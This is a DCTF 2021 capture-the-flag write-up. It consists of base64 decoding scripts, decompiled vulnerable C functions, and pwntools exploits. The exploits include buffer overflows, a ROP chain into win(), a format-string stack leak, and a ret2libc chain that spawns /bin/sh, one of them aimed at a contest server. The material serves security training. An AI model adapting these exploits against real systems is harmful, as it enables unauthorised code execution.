DCTF 2021 Writeup

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import base64

def b64dec(data):
    try:
        data += '=' * (-len(data) % 4)
        d = base64.b64decode(data)
        return d.decode('UTF-8')
    except Exception as e:
        print("{:<30}: \033[35m{}\033[0m".format("Base64 decode", e.args))
        exit()

c = open("cipher.txt","r").read()
while 1:
    c = b64dec(c)
    if 'dctf' in c:
        print(c)
        exit()

1
2
3
4
5
6
7

#!/usr/bin/env python
import base64

flag=open("cipher.txt","r").read()
while "dctf" not in str(flag):
    flag=base64.b64decode(flag)
print(flag)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

void vuln(void)

{
  char local_48 [60];
  int local_c;
  
  puts("tell me a joke");
  fgets(local_48,0x100,stdin);
  if (local_c == -0x21523f22) {
    puts("very good, here is a shell for you. ");
    shell();
  }
  else {
    puts("will this work?");
  }
  return;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

void win(int param_1,int param_2)

{
  puts("you made it to win land, no free handouts this time, try harder");
  if (param_1 == -0x21524111) {
    puts("one down, one to go!");
    if (param_2 == 0x1337c0de) {
      puts("2/2 bro good job");
      system("/bin/sh");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  return;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

#!/usr/bin/env python
from pwn import *

s = remote('dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io', 7480)

pop_rdi = 0x0000000000400813
pop_rsi = 0x0000000000400811

payload = ''
payload += b'A' * 60
payload += p64(0xdeadc0de)  # local_c (-0x21523f22)
payload += b'B' * 4
payload += p64(pop_rdi)
payload += p64(0xdeadbeef)  # param_1 (-0x21524111)
payload += p64(pop_rsi)
payload += p64(0x1337c0de)  # param_2
payload += p64(0x0000000000400697)  # win()
payload += p64(0x0000000000400697)  # win()

s.sendlineafter("tell me a joke\n", payload)
s.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

void vuln(void)

{
  char local_28 [24];
  int local_10;
  int local_c;
  
  local_c = 0x1234567;
  local_10 = -0x76543211;
  puts("Is this a real life, or is it just a fanta sea?");
  puts("Am I dreaming?");
  fgets(local_28,100,stdin);
  if (local_10 == 0x1337c0de) {
    system("/bin/sh");
  }
  else {
    if (local_c == 0x1234567) {
      puts("Pinch me!");
    }
    else {
      puts("Pinch me harder!");
    }
  }
  return;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

undefined8 main(void)

{
  alarm(10);
  vuln();
  return 0;
}

void vuln(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_58 [32];
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  fgets(local_58,0x1c,__stream);
  fclose(__stream);
  puts("hello, what\'s your name?");
  fgets(local_38,0x1e,stdin);
  printf("hello ");
  printf(local_38);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
context.log_level = 'critical'

# host, port = 'dctf-chall-readme.westeurope.azurecontainer.io', 7481

for i in range(0,40):
    # s = remote(host, port)
    s = process('./readme')

    s.recvuntil('your name?\n')
    s.sendline('%' + str(i) + '$p')
    # print(i)
    response = s.recv()
    lines = response.split("\n")
    for line in lines:
        if "0x" in line:
            r = line.split()
            try:
                print(p64(int(r[1], 16)))
            except:
                pass
    s.close()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

void vuln(void)

{
  char local_12 [10];
  
  puts("plz don\'t rop me");
  fgets(local_12,0x100,stdin);
  puts("i don\'t think this will work");
  return;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'critical'

FILE_NAME = './baby_bof'
s = process(FILE_NAME)
elf = ELF(FILE_NAME)

rdi_ret = next(elf.search(asm('pop rdi; ret')))
got_puts = elf.got["puts"]
plt_puts = elf.plt["puts"]
addr_vuln = elf.symbols["vuln"]

# libc = ELF('./libc.so.6')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
off_puts = libc.symbols["puts"]
# gadget = [0xcbdda, 0xcbddd, 0xcbde0]

bufsize = 10 + 8
payload = "A" * bufsize
payload += p64(rdi_ret)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(addr_vuln)      # return to vuln
s.sendlineafter("rop me\n",payload)
s.recvuntil('work\n')

libc_puts = u64(s.recv(6) + "\x00\x00")
libc_base = libc_puts - off_puts
# one_gadget = libc_base + gadget[1]
libc.address = libc_base
print hex(libc_base)

payload = "A" * bufsize
payload += p64(rdi_ret)
payload += p64(libc.search(b'/bin/sh').next())
payload += p64(libc.sym.system)
s.sendlineafter("rop me\n",payload)
s.recvuntil('work\n')
s.interactive()